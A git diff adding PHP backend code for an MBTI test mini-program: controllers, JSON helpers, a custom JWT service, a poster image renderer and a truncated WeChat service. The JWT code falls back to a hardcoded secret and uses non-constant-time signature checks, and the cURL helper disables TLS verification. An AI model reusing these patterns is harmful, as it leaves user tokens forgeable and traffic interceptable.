diff --git a/api/app/BaseController.php b/api/app/BaseController.php new file mode 100644 index 0000000..4f85f99 --- /dev/null +++ b/api/app/BaseController.php @@ -0,0 +1,121 @@ +app = $app; + $this->request = $this->app->request; + + // 控制器初始化 + $this->initialize(); + } + + // 初始化 + protected function initialize() + {} + + /** + * 验证数据 + * @access protected + * @param array $data 数据 + * @param string|array $validate 验证器名或者验证规则数组 + * @param array $message 提示信息 + * @param bool $batch 是否批量验证 + * @return array|string|true + * @throws ValidateException + */ + /** + * 从请求中解析当前登录用户(兼容中间件注入和 JWT 直接解析两种方式) + */ + protected function resolveUser(): ?array + { + $user = $this->request->user ?? null; + if ($user) { + return is_array($user) ? $user : (array) $user; + } + + $token = JwtService::getTokenFromRequest($this->request); + if (!$token) { + return null; + } + + $payload = JwtService::verifyToken($token); + if (!$payload) { + return null; + } + + return [ + 'source' => $payload['source'] ?? '', + 'user_id' => $payload['user_id'] ?? $payload['userId'] ?? null, + 'userId' => $payload['user_id'] ?? $payload['userId'] ?? null, + ]; + } + + protected function validate(array $data, $validate, array $message = [], bool $batch = false) + { + if (is_array($validate)) { + $v = new Validate(); + $v->rule($validate); + } else { + if (strpos($validate, '.')) { + // 支持场景 + [$validate, $scene] = explode('.', $validate); + } + $class = false !== strpos($validate, '\\') ? $validate : $this->app->parseClass('validate', $validate); + $v = new $class(); + if (!empty($scene)) { + $v->scene($scene); + } + } + + $v->message($message); + + // 是否批量验证 + if ($batch || $this->batchValidate) { + $v->batch(true); + } + + return $v->failException(true)->check($data); + } +} + + diff --git a/api/app/common.php b/api/app/common.php new file mode 100644 index 0000000..f9b2487 --- /dev/null +++ b/api/app/common.php @@ -0,0 +1,171 @@ + $code, + 'message' => $message, + 'data' => $data + ]); +} + +/** + * 成功响应 + * @param mixed $data 数据 + * @param string $message 消息 + * @return \think\response\Json + */ +function success($data = null, $message = 'success') +{ + return json_response(200, $message, $data); +} + +/** + * 错误响应 + * @param string $message 错误消息 + * @param int $code 错误码 + * @return \think\response\Json + */ +function error($message = 'error', $code = 400) +{ + return json_response($code, $message, null); +} + +/** + * 分页响应 + * @param array $list 列表数据 + * @param int $total 总数 + * @param int $page 当前页 + * @param int $pageSize 每页数量 + * @return \think\response\Json + */ +function paginate_response($list, $total, $page = 1, $pageSize = 10) +{ + return success([ + 'list' => $list, + 'total' => $total, + 'page' => $page, + 'pageSize' => $pageSize, + 'hasMore' => ($page * $pageSize) < $total + ]); +} + +if (!function_exists('requestCurl')) { + /** + * @param string $url 请求的链接 + * @param array $params 请求附带的参数 + * @param string $method 请求的方式, 支持GET, POST, PUT, DELETE等 + * @param array $header 头部 + * @param string $type 数据类型,支持dataBuild、json等 + * @return bool|string + */ + function requestCurl($url, $params = [], $method = 'GET', $header = [], $type = 'dataBuild') + { + $str = ''; + if (!empty($url)) { + try { + $ch = curl_init(); + + // 处理GET请求的参数 + if (strtoupper($method) == 'GET' && !empty($params)) { + $url = $url . '?' . dataBuild($params); + } + + curl_setopt($ch, CURLOPT_URL, $url); + curl_setopt($ch, CURLOPT_HEADER, 0); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); + curl_setopt($ch, CURLOPT_TIMEOUT, 30); //30秒超时 + curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); + curl_setopt($ch, CURLOPT_HTTPHEADER, $header); + + // 处理不同的请求方法 + if (strtoupper($method) != 'GET') { + // 设置请求方法 + curl_setopt($ch, CURLOPT_CUSTOMREQUEST, strtoupper($method)); + + // 处理参数格式 + if ($type == 'dataBuild') { + $params = dataBuild($params); + } elseif ($type == 'json') { + $params = json_encode($params); + } else { + $params = dataBuild($params); + } + + // 设置请求体 + curl_setopt($ch, CURLOPT_POSTFIELDS, $params); + } + + curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); //是否验证对等证书,1则验证,0则不验证 + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); + $str = curl_exec($ch); + curl_close($ch); + } catch (Exception $e) { + $str = ''; + } + } + return $str; + } +} + + +if (!function_exists('dataBuild')) { + function dataBuild($array) + { + if (!is_array($array)) { + return $array; + } + + // 处理嵌套数组 + foreach ($array as $key => $value) { + if (is_array($value)) { + $array[$key] = json_encode($value); + } + } + + return http_build_query($array); + } +} + + +if (!function_exists('setHeader')) { + /** + * 设置头部 + * + * @param array $headerData 头部数组 + * @param string $authorization + * @param string $type 类型 默认json (json,plain) + * @return array + */ + function setHeader($headerData = [], $authorization = '', $type = '') + { + $header = $headerData; + + switch ($type) { + case 'json': + $header[] = 'Content-Type:application/json'; + break; + case 'html' : + $header[] = 'Content-Type:text/html'; + break; + case 'plain' : + $header[] = 'Content-Type:text/plain'; + break; + default: + $header[] = 'Content-Type:application/json'; + } +// $header[] = $type == 'plain' ? 'Content-Type:text/plain' : 'Content-Type: application/json'; + if ($authorization !== "") $header[] = 'Authorization:Bearer ' . $authorization; + return $header; + } +} + + diff --git a/api/app/common/controller/BaseController.php b/api/app/common/controller/BaseController.php new file mode 100644 index 0000000..c0d2fe3 --- /dev/null +++ b/api/app/common/controller/BaseController.php @@ -0,0 +1,124 @@ +app = $app; + $this->request = $this->app->request; + + // 控制器初始化 + $this->initialize(); + } + + // 初始化 + protected function initialize() + {} + + /** + * 成功响应 + * @param mixed $data 数据 + * @param string $message 消息 + * @return \think\response\Json + */ + protected function success($data = null, $message = 'success') + { + $response = Response::create([ + 'code' => 200, + 'message' => $message, + 'data' => $data + ], 'json')->code(200); + + $response->header([ + 'Content-Type' => 'application/json; charset=utf-8' + ]); + + return $response; + } + + /** + * 错误响应 + * @param string $message 错误消息 + * @param int $code 错误码 + * @return \think\response\Json + */ + protected function error($message = 'error', $code = 400) + { + $response = Response::create([ + 'code' => $code, + 'message' => $message, + 'data' => null + ], 'json')->code($code); + + $response->header([ + 'Content-Type' => 'application/json; charset=utf-8' + ]); + + return $response; + } + + /** + * 验证数据 + * @access protected + * @param array $data 数据 + * @param string|array $validate 验证器名或者验证规则数组 + * @param array $message 提示信息 + * @param bool $batch 是否批量验证 + * @return array|string|true + * @throws ValidateException + */ + protected function validate(array $data, $validate, array $message = [], bool $batch = false) + { + if (is_array($validate)) { + $v = new Validate(); + $v->rule($validate); + } else { + if (strpos($validate, '.')) { + // 支持场景 + [$validate, $scene] = explode('.', $validate); + } + $class = false !== strpos($validate, '\\') ? $validate : $this->app->parseClass('validate', $validate); + $v = new $class(); + if (!empty($scene)) { + $v->scene($scene); + } + } + + $v->message($message); + + // 是否批量验证 + if ($batch) { + $v->batch(true); + } + + return $v->failException(true)->check($data); + } +} + diff --git a/api/app/common/service/JwtService.php b/api/app/common/service/JwtService.php new file mode 100644 index 0000000..a4dc3af --- /dev/null +++ b/api/app/common/service/JwtService.php @@ -0,0 +1,132 @@ + 'JWT', 'alg' => 'HS256'])); + $payloadStr = base64_encode(json_encode($payload)); + $signature = hash_hmac('sha256', $header . '.' . $payloadStr, $secret); + + $token = $header . '.' . $payloadStr . '.' . $signature; + + // 将Token存储到缓存(用于刷新和注销),带 source 区分小程序用户与管理员 + $userId = $payload['userId'] ?? $payload['user_id'] ?? null; + if ($userId !== null) { + $key = self::tokenCacheKey($userId, $payload['source'] ?? null); + Cache::set($key, $token, $expire); + } + + return $token; + } + + /** + * 验证Token + * @param string $token + * @return array|false 返回载荷数据或false + */ + public static function verifyToken(string $token) + { + $parts = explode('.', $token); + if (count($parts) !== 3) { + return false; + } + + [$header, $payloadStr, $signature] = $parts; + + // 验证签名 + $secret = config('jwt.secret', 'mbti_jwt_secret_key_2024'); + $expectedSignature = hash_hmac('sha256', $header . '.' . $payloadStr, $secret); + + if ($signature !== $expectedSignature) { + return false; + } + + // 解析载荷 + $payload = json_decode(base64_decode($payloadStr), true); + if (!$payload) { + return false; + } + + // 检查过期时间 + if (isset($payload['exp']) && $payload['exp'] < time()) { + return false; + } + + return $payload; + } + + /** + * 刷新Token + * @param string $token + * @return string|false 返回新Token或false + */ + public static function refreshToken(string $token) + { + $payload = self::verifyToken($token); + if (!$payload) { + return false; + } + + // 移除过期时间字段,重新生成 + unset($payload['exp'], $payload['iat']); + + return self::generateToken($payload); + } + + /** + * Token 缓存键(区分来源,避免与管理员同 id 冲突) + */ + public static function tokenCacheKey($userId, ?string $source = null): string + { + $prefix = $source ? 'jwt_token_' . $source . '_' : 'jwt_token_'; + return $prefix . $userId; + } + + /** + * 删除Token(注销) + * @param int $userId + * @param string|null $source 来源,如 wechat,不传则按管理员 token 键删除 + * @return bool + */ + public static function deleteToken(int $userId, ?string $source = null): bool + { + return Cache::delete(self::tokenCacheKey($userId, $source)); + } + + /** + * 从请求头获取Token + * @param \think\Request $request + * @return string|null + */ + public static function getTokenFromRequest($request): ?string + { + $authorization = $request->header('Authorization', ''); + + if ($authorization && preg_match('/Bearer\s+(.*)$/i', $authorization, $matches)) { + return $matches[1]; + } + + return null; + } +} + diff --git a/api/app/common/service/PosterService.php b/api/app/common/service/PosterService.php new file mode 100644 index 0000000..77ef301 --- /dev/null +++ b/api/app/common/service/PosterService.php @@ -0,0 +1,612 @@ + [显示名, 文件名] + * 文件存放于 public/fonts/ 目录 + */ + private const FONT_MAP = [ + 'noto-sans' => ['思源黑体', 'NotoSansCJKsc-Regular.otf'], + 'noto-serif' => ['思源宋体', 'NotoSerifCJKsc-Regular.otf'], + 'alimama' => ['阿里妈妈方圆体', 'AlimamaFangYuanTiVF.ttf'], + 'wqy-microhei' => ['文泉驿微米黑', 'wqy-microhei.ttc'], + ]; + + /** + * 返回服务器上实际可用的字体列表 + * @return array [ ['key'=>'noto-sans','name'=>'思源黑体'], ... ] + */ + public static function getAvailableFonts(): array + { + $base = root_path() . 'public/fonts/'; + $list = []; + foreach (self::FONT_MAP as $key => [$name, $file]) { + if (file_exists($base . $file)) { + $list[] = ['key' => $key, 'name' => $name]; + } + } + // 兼容旧字体 + $legacy = ['simhei.ttf' => '黑体', 'msyh.ttf' => '微软雅黑']; + foreach ($legacy as $file => $name) { + if (file_exists($base . $file)) { + $list[] = ['key' => pathinfo($file, PATHINFO_FILENAME), 'name' => $name]; + } + } + return $list; + } + + // ───────────────────────────────────────────── + // NEW:根据超管可视化配置渲染海报 + // ───────────────────────────────────────────── + + /** + * 读取 poster_config 并渲染,若无配置则回退到旧版 build() + * @param int|null $enterpriseId 企业 ID,优先读 enterprise_id={id} 行,无则降级到 enterprise_id=0 全局行 + */ + public static function buildFromConfig(array $user, string $qrBinary, ?string $avatarBinary = null, ?int $enterpriseId = null): string + { + $raw = null; + + // 1. 优先读取企业专属海报配置(enterprise_id 列) + if ($enterpriseId > 0) { + $eidRow = Db::name('system_config') + ->where('key', 'poster_config') + ->where('enterprise_id', $enterpriseId) + ->find(); + if ($eidRow && !empty($eidRow['value'])) { + $raw = $eidRow['value']; + } + } + + // 2. 降级到全局配置(enterprise_id=0) + if ($raw === null) { + $row = Db::name('system_config') + ->where('key', 'poster_config') + ->where('enterprise_id', 0) + ->find(); + $raw = $row['value'] ?? null; + } + + // 安全解码:处理可能的多重 JSON 编码 + $cfg = null; + if ($raw) { + $val = $raw; + for ($i = 0; $i < 5 && is_string($val); $i++) { + $decoded = json_decode($val, true); + if ($decoded === null && json_last_error() !== JSON_ERROR_NONE) break; + $val = $decoded; + } + $cfg = is_array($val) ? $val : null; + } + + if (empty($cfg) || empty($cfg['elements']) || !is_array($cfg['elements'])) { + return self::build($user, $qrBinary, $avatarBinary); + } + + return self::renderConfig($cfg, $user, $qrBinary, $avatarBinary); + } + + /** + * 根据配置数组渲染海报 + */ + private static function renderConfig(array $cfg, array $user, string $qrBinary, ?string $avatarBinary): string + { + $s = self::SCALE; + $cw = self::CANVAS_W * $s; + $ch = self::CANVAS_H * $s; + + $img = imagecreatetruecolor($cw, $ch); + if (!$img) throw new \RuntimeException('GD image create failed'); + imagesavealpha($img, true); + imagealphablending($img, true); + + // 背景颜色 + $bgColorHex = $cfg['bgColor'] ?? '#ffffff'; + $bgRgb = self::parseColorToRgb($bgColorHex); + $bgColor = imagecolorallocate($img, $bgRgb[0], $bgRgb[1], $bgRgb[2]); + imagefilledrectangle($img, 0, 0, $cw - 1, $ch - 1, $bgColor); + + // 背景图片 + if (!empty($cfg['bgImage'])) { + $bgBin = self::fetchImage($cfg['bgImage']); + if ($bgBin) { + $bgImg = @imagecreatefromstring($bgBin); + if ($bgImg) { + imagecopyresampled($img, $bgImg, 0, 0, 0, 0, $cw, $ch, imagesx($bgImg), imagesy($bgImg)); + imagedestroy($bgImg); + } + } + } + + // 缓存图像资源 + $qrRes = null; + $avatarRes = null; + + // 预先查询用户最近的测试结果(mbti / pdp / disc / face) + $testResults = self::fetchLatestTestResults((int)($user['id'] ?? 0)); + + foreach ($cfg['elements'] as $el) { + $type = $el['type'] ?? ''; + $x = (int)(($el['x'] ?? 0) * $s); + $y = (int)(($el['y'] ?? 0) * $s); + $w = (int)(($el['w'] ?? 80) * $s); + $h = (int)(($el['h'] ?? 80) * $s); + + $fontKey = $el['fontFamily'] ?? null; + // 对齐方式:优先 align 字段,兼容旧 center 字段 + $align = $el['align'] ?? (!empty($el['center']) ? 'center' : 'left'); + + switch ($type) { + case 'text': + $text = $el['content'] ?? ''; + $fontSize = max(8, (int)(($el['fontSize'] ?? 16) * $s)); + $colorHex = $el['color'] ?? '#333333'; + $bold = !empty($el['bold']); + $colorInt = self::allocateHexColor($img, $colorHex); + self::drawTextBlock($img, $x, $y, $w, $h, $text, $colorInt, $fontSize, $bold, $align, $fontKey); + break; + + case 'nickname': + $text = mb_substr($user['nickname'] ?? '好友', 0, 20); + $fontSize = max(8, (int)(($el['fontSize'] ?? 16) * $s)); + $colorHex = $el['color'] ?? '#333333'; + $bold = !empty($el['bold']); + $colorInt = self::allocateHexColor($img, $colorHex); + self::drawTextBlock($img, $x, $y, $w, $h, $text, $colorInt, $fontSize, $bold, $align, $fontKey); + break; + + case 'avatar': + if ($avatarBinary) { + if (!$avatarRes) $avatarRes = @imagecreatefromstring($avatarBinary); + if ($avatarRes) { + $shape = $el['shape'] ?? 'circle'; + self::drawImageElement($img, $avatarRes, $x, $y, $w, $h, $shape); + } + } + break; + + case 'qrcode': + if (!$qrRes) $qrRes = @imagecreatefromstring($qrBinary); + if ($qrRes) { + self::drawImageElement($img, $qrRes, $x, $y, $w, $h, 'square'); + } + break; + + case 'image': + if (!empty($el['url'])) { + $bin = self::fetchImage($el['url']); + if ($bin) { + $staticImg = @imagecreatefromstring($bin); + if ($staticImg) { + $shape = $el['shape'] ?? 'square'; + self::drawImageElement($img, $staticImg, $x, $y, $w, $h, $shape); + imagedestroy($staticImg); + } + } + } + break; + + case 'mbti': + case 'pdp': + case 'disc': + $text = $testResults[$type] ?? ($el['content'] ?? strtoupper($type)); + $fontSize = max(8, (int)(($el['fontSize'] ?? 16) * $s)); + $colorHex = $el['color'] ?? '#333333'; + $bold = !empty($el['bold']); + $colorInt = self::allocateHexColor($img, $colorHex); + self::drawTextBlock($img, $x, $y, $w, $h, $text, $colorInt, $fontSize, $bold, $align, $fontKey); + break; + } + } + + if ($qrRes) imagedestroy($qrRes); + if ($avatarRes) imagedestroy($avatarRes); + + ob_start(); + imagepng($img); + $png = ob_get_clean(); + imagedestroy($img); + return $png ?: ''; + } + + /** + * 查询用户最近各类型测试的 resultText + * 复用 Test::_formatRecentRow 的解析逻辑 + * @return array ['mbti' => 'ESTP', 'pdp' => '老虎型', 'disc' => 'D型'] + */ + private static function fetchLatestTestResults(int $userId): array + { + $out = []; + if ($userId <= 0) return $out; + + $types = ['face', 'mbti', 'pdp', 'disc']; + foreach ($types as $t) { + $row = Db::name('test_results') + ->where('userId', $userId) + ->where('testType', $t) + ->order('createdAt', 'desc') + ->field('resultData, testType') + ->find(); + if (!$row || empty($row['resultData'])) continue; + $raw = $row['resultData']; + $data = is_string($raw) ? json_decode($raw, true) : $raw; + if (!is_array($data)) continue; + + switch ($t) { + case 'face': + // face 结果中包含 mbti/pdp/disc 子结构 + if (!isset($out['mbti'])) { + $v = ''; + if (isset($data['mbti']['type'])) $v = $data['mbti']['type']; + elseif (isset($data['mbti']) && is_scalar($data['mbti'])) $v = (string)$data['mbti']; + if ($v !== '') $out['mbti'] = $v; + } + if (!isset($out['pdp'])) { + $v = ''; + if (isset($data['pdp']['type'])) $v = $data['pdp']['type']; + elseif (isset($data['pdp']) && is_scalar($data['pdp'])) $v = (string)$data['pdp']; + if ($v !== '') $out['pdp'] = $v; + } + if (!isset($out['disc'])) { + $v = ''; + if (isset($data['disc']['primary'])) $v = $data['disc']['primary'] . '型'; + elseif (isset($data['disc']) && is_scalar($data['disc'])) $v = (string)$data['disc']; + if ($v !== '') $out['disc'] = $v; + } + break; + case 'mbti': + if (!isset($out['mbti'])) { + $v = $data['mbtiType'] ?? $data['mbti'] ?? ''; + if (is_array($v)) $v = $v['type'] ?? ''; + if ((string)$v !== '') $out['mbti'] = (string)$v; + } + break; + case 'pdp': + if (!isset($out['pdp'])) { + $v = $data['description']['type'] ?? $data['pdp'] ?? ''; + if (is_array($v)) $v = $v['type'] ?? ''; + if ((string)$v !== '') $out['pdp'] = (string)$v; + } + break; + case 'disc': + if (!isset($out['disc'])) { + $v = $data['dominantType'] ?? $data['disc'] ?? ''; + if (is_array($v)) $v = $v['type'] ?? $v['primary'] ?? ''; + if ((string)$v !== '') $out['disc'] = (string)$v . '型'; + } + break; + } + } + return $out; + } + + /** + * 在指定区域内绘制文字(imagettftext 的 y 为基线坐标) + */ + private static function drawTextBlock($img, int $x, int $y, int $w, int $h, string $text, int $color, int $fontSize, bool $bold, string $align = 'left', ?string $fontKey = null): void + { + $font = self::getFontPath($fontKey); + if ($font && function_exists('imagettftext')) { + $textW = self::ttfTextWidth($font, $fontSize, $text); + switch ($align) { + case 'center': $drawX = $x + (int)(($w - $textW) / 2); break; + case 'right': $drawX = $x + $w - $textW - 6; break; + default: $drawX = $x + 6; break; + } + $drawY = $y + (int)(($h + $fontSize * 0.8) / 2); + imagettftext($img, $fontSize, 0, $drawX, $drawY, $color, $font, $text); + } else { + $f = $fontSize <= 16 ? 4 : 5; + $textW = imagefontwidth($f) * mb_strlen($text); + switch ($align) { + case 'center': $drawX = $x + (int)(($w - $textW) / 2); break; + case 'right': $drawX = $x + $w - $textW - 4; break; + default: $drawX = $x + 4; break; + } + imagestring($img, $f, $drawX, $y + (int)(($h - imagefontheight($f)) / 2), preg_replace('/[^\x20-\x7e]/', '?', $text), $color); + } + } + + /** + * 估算 TTF 文字宽度(近似) + */ + private static function ttfTextWidth(string $font, int $size, string $text): int + { + if (function_exists('imagettfbbox')) { + $box = imagettfbbox($size, 0, $font, $text); + return $box ? abs($box[4] - $box[0]) : $size * mb_strlen($text); + } + return $size * mb_strlen($text); + } + + /** + * 将图像资源绘制到画布(支持圆形/方形裁剪) + */ + private static function drawImageElement($img, $src, int $x, int $y, int $w, int $h, string $shape): void + { + $srcW = imagesx($src); + $srcH = imagesy($src); + + if ($shape === 'circle') { + // 先绘制到临时图像再做圆形遮罩 + $tmp = imagecreatetruecolor($w, $h); + imagesavealpha($tmp, true); + imagealphablending($tmp, false); + $transparent = imagecolorallocatealpha($tmp, 0, 0, 0, 127); + imagefilledrectangle($tmp, 0, 0, $w - 1, $h - 1, $transparent); + imagealphablending($tmp, true); + imagecopyresampled($tmp, $src, 0, 0, 0, 0, $w, $h, $srcW, $srcH); + + // 圆形遮罩(逐像素)—— 仅在 GD 无更好方案时使用 + $mask = imagecreatetruecolor($w, $h); + imagesavealpha($mask, true); + imagealphablending($mask, false); + imagefilledrectangle($mask, 0, 0, $w - 1, $h - 1, imagecolorallocatealpha($mask, 0, 0, 0, 127)); + imagealphablending($mask, true); + imagefilledellipse($mask, (int)($w / 2), (int)($h / 2), $w, $h, imagecolorallocate($mask, 255, 255, 255)); + + // 将 tmp 叠加到主图(遮罩内白外黑,白色表示保留区域) + for ($px = 0; $px < $w; $px++) { + for ($py = 0; $py < $h; $py++) { + $mPx = imagecolorat($mask, $px, $py); + $rMask = ($mPx >> 16) & 0xFF; + if ($rMask > 128) { + $srcPx = imagecolorat($tmp, $px, $py); + $r = ($srcPx >> 16) & 0xFF; + $g = ($srcPx >> 8) & 0xFF; + $b = $srcPx & 0xFF; + $c = imagecolorallocate($img, $r, $g, $b); + imagesetpixel($img, $x + $px, $y + $py, $c); + } + } + } + imagedestroy($tmp); + imagedestroy($mask); + } else { + imagecopyresampled($img, $src, $x, $y, 0, 0, $w, $h, $srcW, $srcH); + } + } + + /** + * 将颜色字符串解析为 RGB 数组 + * 支持 #fff、#ffffff、rgba(r,g,b,a)、rgb(r,g,b)、数组 [r,g,b] + */ + private static function parseColorToRgb($color): array + { + if (is_array($color)) { + $r = (int)($color['r'] ?? $color[0] ?? 51); + $g = (int)($color['g'] ?? $color[1] ?? 51); + $b = (int)($color['b'] ?? $color[2] ?? 51); + return [min(255, max(0, $r)), min(255, max(0, $g)), min(255, max(0, $b))]; + } + if (!is_string($color) && !is_scalar($color)) { + return [51, 51, 51]; + } + $s = trim((string)$color); + if ($s === '') { + return [51, 51, 51]; + } + // rgba(r,g,b,a) 或 rgb(r,g,b) + if (preg_match('/^rgba?\s*\(\s*(\d+)\s*,\s*(\d+)\s*,\s*(\d+)/i', $s, $m)) { + return [(int)min(255, $m[1]), (int)min(255, $m[2]), (int)min(255, $m[3])]; + } + // 仅保留 # 后合法十六进制字符 + $hex = preg_replace('/[^0-9a-fA-F]/', '', ltrim($s, '#')); + if (strlen($hex) === 3) { + $hex = $hex[0].$hex[0].$hex[1].$hex[1].$hex[2].$hex[2]; + } + if (strlen($hex) !== 6) { + return [51, 51, 51]; + } + $r = (int)hexdec(substr($hex, 0, 2)); + $g = (int)hexdec(substr($hex, 2, 2)); + $b = (int)hexdec(substr($hex, 4, 2)); + return [min(255, $r), min(255, $g), min(255, $b)]; + } + + private static function allocateHexColor($img, $hex): int + { + [$r, $g, $b] = self::parseColorToRgb($hex); + return imagecolorallocate($img, $r, $g, $b); + } + + /** + * 根据字体 key 获取字体文件路径;key 为空则返回第一个可用字体 + */ + private static function getFontPath(?string $fontKey = null): ?string + { + $base = root_path() . 'public/fonts/'; + + // 按 key 精确查找 + if ($fontKey) { + if (isset(self::FONT_MAP[$fontKey])) { + $p = $base . self::FONT_MAP[$fontKey][1]; + if (file_exists($p)) return $p; + } + // 兼容旧字体 key(如 simhei / msyh) + $legacy = $base . $fontKey . '.ttf'; + if (file_exists($legacy)) return $legacy; + } + + // 回退:按优先级返回第一个可用字体 + foreach (self::FONT_MAP as [$name, $file]) { + $p = $base . $file; + if (file_exists($p)) return $p; + } + $fallbacks = [$base . 'simhei.ttf', $base . 'msyh.ttf', '/usr/share/fonts/truetype/wqy/wqy-microhei.ttc']; + foreach ($fallbacks as $p) { + if (file_exists($p)) return $p; + } + return null; + } + + private static function drawText($img, int $x, int $y, string $text, int $color, int $size = 14): void + { + $font = self::getFontPath(); + if ($font && function_exists('imagettftext')) { + imagettftext($img, $size, 0, $x, $y + $size, $color, $font, $text); + } else { + $f = $size <= 12 ? 4 : 5; + imagestring($img, $f, $x, $y, preg_replace('/[^\x20-\x7e]/', '', $text) ?: $text, $color); + } + } + + /** + * 合成推广海报 PNG 二进制 + * @param array $user 当前用户 {id, nickname, avatar} + * @param string $qrBinary 小程序码 PNG 二进制 + * @param string|null $avatarBinary 头像二进制(已下载),为空则跳过 + */ + public static function build(array $user, string $qrBinary, ?string $avatarBinary = null): string + { + $w = self::WIDTH; + $h = self::HEIGHT; + $img = imagecreatetruecolor($w, $h); + if (!$img) { + throw new \RuntimeException('GD image create failed'); + } + imagesavealpha($img, true); + imagealphablending($img, true); + + self::drawGradient($img, 0, 0, $w, (int)($h * 0.45), [0xFF, 0xD1, 0xE3], [0xE9, 0xD5, 0xFF]); + $white = imagecolorallocate($img, 255, 255, 255); + imagefilledrectangle($img, 0, (int)($h * 0.4), $w, $h, $white); + + $primary = imagecolorallocate($img, 244, 63, 94); + $secondary = imagecolorallocate($img, 139, 92, 246); + $orange = imagecolorallocate($img, 249, 115, 22); + $dark = imagecolorallocate($img, 30, 41, 59); + $gray = imagecolorallocate($img, 100, 116, 139); + $lightGray = imagecolorallocate($img, 148, 163, 184); + $cx = (int)($w / 2); + + self::drawRoundedRect($img, 30, 50, 60, 20, 10, imagecolorallocatealpha($img, 255, 255, 255, 80)); + self::drawRoundedRect($img, 130, 50, 60, 20, 10, $primary); + self::drawText($img, 45, 52, '专业分析', $primary, 10); + self::drawText($img, 145, 52, '结果精准', $white, 10); + + self::drawText($img, $cx - 80, 100, 'MBTI 神仙测试', $dark, 22); + + self::drawRoundedRect($img, $cx - 80, 150, 65, 24, 8, imagecolorallocatealpha($img, 255, 255, 255, 50)); + self::drawRoundedRect($img, $cx + 5, 150, 65, 24, 8, imagecolorallocatealpha($img, 255, 255, 255, 50)); + self::drawText($img, $cx - 70, 155, 'INTJ', $primary, 10); + self::drawText($img, $cx - 45, 155, '战略家', $gray, 10); + self::drawText($img, $cx + 15, 155, 'PDP', $secondary, 10); + self::drawText($img, $cx + 40, 155, '猫头鹰', $gray, 10); + + $gridY = 220; + $gridW = (int)(($w - 80) / 3); + self::drawStatCard($img, 30, $gridY, $gridW, 70, '100+', '性格档案', $primary); + self::drawStatCard($img, 30 + $gridW + 10, $gridY, $gridW, 70, '0%', '好友折扣', $secondary); + self::drawStatCard($img, 30 + ($gridW + 10) * 2, $gridY, $gridW, 70, '90%', '收益分红', $orange); + + $cardY = 320; + self::drawRoundedRect($img, 30, $cardY, $w - 60, 180, 20, $white); + imagefilledrectangle($img, 45, $cardY + 18, 49, $cardY + 34, $primary); + self::drawText($img, 55, $cardY + 15, '完整版性格深度解析', $dark, 12); + $bullets = [ + '你的决策风格在高压场景下会如何变化?', + '在团队中更适合担当怎样的关键角色?', + '哪些性格盲区最容易拖累你的发展?', + ]; + foreach ($bullets as $i => $t) { + self::drawText($img, 50, $cardY + 50 + $i * 28, '• ' . $t, $gray, 10); + } + + $recY = 530; + self::drawRoundedRect($img, $cx - 100, $recY, 200, 36, 18, imagecolorallocate($img, 248, 250, 252)); + if ($avatarBinary) { + $avatar = @imagecreatefromstring($avatarBinary); + if ($avatar) { + imagecopyresampled($img, $avatar, $cx - 92, $recY + 6, 0, 0, 24, 24, imagesx($avatar), imagesy($avatar)); + imagedestroy($avatar); + } + } + $nickname = mb_substr($user['nickname'] ?? '好友', 0, 8); + self::drawText($img, $cx - 95, $recY + 12, '由 ' . $nickname . ' 推荐给你', $gray, 10); + + $qrY = 620; + $qrImg = @imagecreatefromstring($qrBinary); + if ($qrImg) { + $qrSize = 88; + $qrX = $cx - (int)($qrSize / 2); + imagecopyresampled($img, $qrImg, $qrX, $qrY + 6, 0, 0, $qrSize, $qrSize, imagesx($qrImg), imagesy($qrImg)); + imagedestroy($qrImg); + } + self::drawText($img, $cx - 80, $qrY + 100, '扫码解锁完整报告', $lightGray, 10); + $inviteCode = 'MBTI-' . ($user['id'] ?? '888'); + self::drawText($img, $cx - 60, $qrY + 125, '邀请码 ' . $inviteCode, $primary, 11); + + ob_start(); + imagepng($img); + $png = ob_get_clean(); + imagedestroy($img); + return $png ?: ''; + } + + private static function drawGradient($img, $x, $y, $w, $h, array $from, array $to): void + { + for ($i = 0; $i < $h; $i++) { + $r = (int)($from[0] + ($to[0] - $from[0]) * $i / $h); + $g = (int)($from[1] + ($to[1] - $from[1]) * $i / $h); + $b = (int)($from[2] + ($to[2] - $from[2]) * $i / $h); + $c = imagecolorallocate($img, max(0, min(255, $r)), max(0, min(255, $g)), max(0, min(255, $b))); + imagefilledrectangle($img, $x, $y + $i, $x + $w - 1, $y + $i, $c); + } + } + + private static function drawRoundedRect($img, $x, $y, $w, $h, $r, $color): void + { + imagefilledrectangle($img, $x + $r, $y, $x + $w - $r - 1, $y + $h - 1, $color); + imagefilledrectangle($img, $x, $y + $r, $x + $w - 1, $y + $h - $r - 1, $color); + imagefilledellipse($img, $x + $r, $y + $r, $r * 2, $r * 2, $color); + imagefilledellipse($img, $x + $w - $r - 1, $y + $r, $r * 2, $r * 2, $color); + imagefilledellipse($img, $x + $r, $y + $h - $r - 1, $r * 2, $r * 2, $color); + imagefilledellipse($img, $x + $w - $r - 1, $y + $h - $r - 1, $r * 2, $r * 2, $color); + } + + private static function drawStatCard($img, $x, $y, $w, $h, string $val, string $label, int $color): void + { + $white = imagecolorallocate($img, 255, 255, 255); + self::drawRoundedRect($img, $x, $y, $w, $h, 15, $white); + $gray = imagecolorallocate($img, 148, 163, 184); + $lw = imagefontwidth(5) * strlen($val); + imagestring($img, 5, $x + ($w - $lw) / 2, $y + 20, $val, $color); + $lw2 = imagefontwidth(4) * strlen($label); + imagestring($img, 4, $x + ($w - $lw2) / 2, $y + 45, $label, $gray); + } + + /** + * 下载远程图片为二进制 + */ + public static function fetchImage(string $url): ?string + { + $url = str_replace('http://', 'https://', $url); + $ctx = stream_context_create(['http' => ['timeout' => 10]]); + $bin = @file_get_contents($url, false, $ctx); + return $bin !== false ? $bin : null; + } +} diff --git a/api/app/common/service/WechatService.php b/api/app/common/service/WechatService.php new file mode 100644 index 0000000..23b3435 --- /dev/null +++ b/api/app/common/service/WechatService.php @@ -0,0 +1,194 @@ + $now + 300) { + return ['access_token' => self::$cachedAccessToken]; + } + $appId = config('wechat.app_id'); + $appSecret = config('wechat.app_secret'); + if (empty($appId) || empty($appSecret)) { + return ['errcode' => -1, 'errmsg' => '未配置微信小程序 app_id 或 app_secret']; + } + $url = self::$tokenUrl . '?' . http_build_query([ + 'grant_type' => 'client_credential', + 'appid' => $appId, + 'secret' => $appSecret, + ]); + $resp = @file_get_contents($url); + if ($resp === false) { + return ['errcode' => -2, 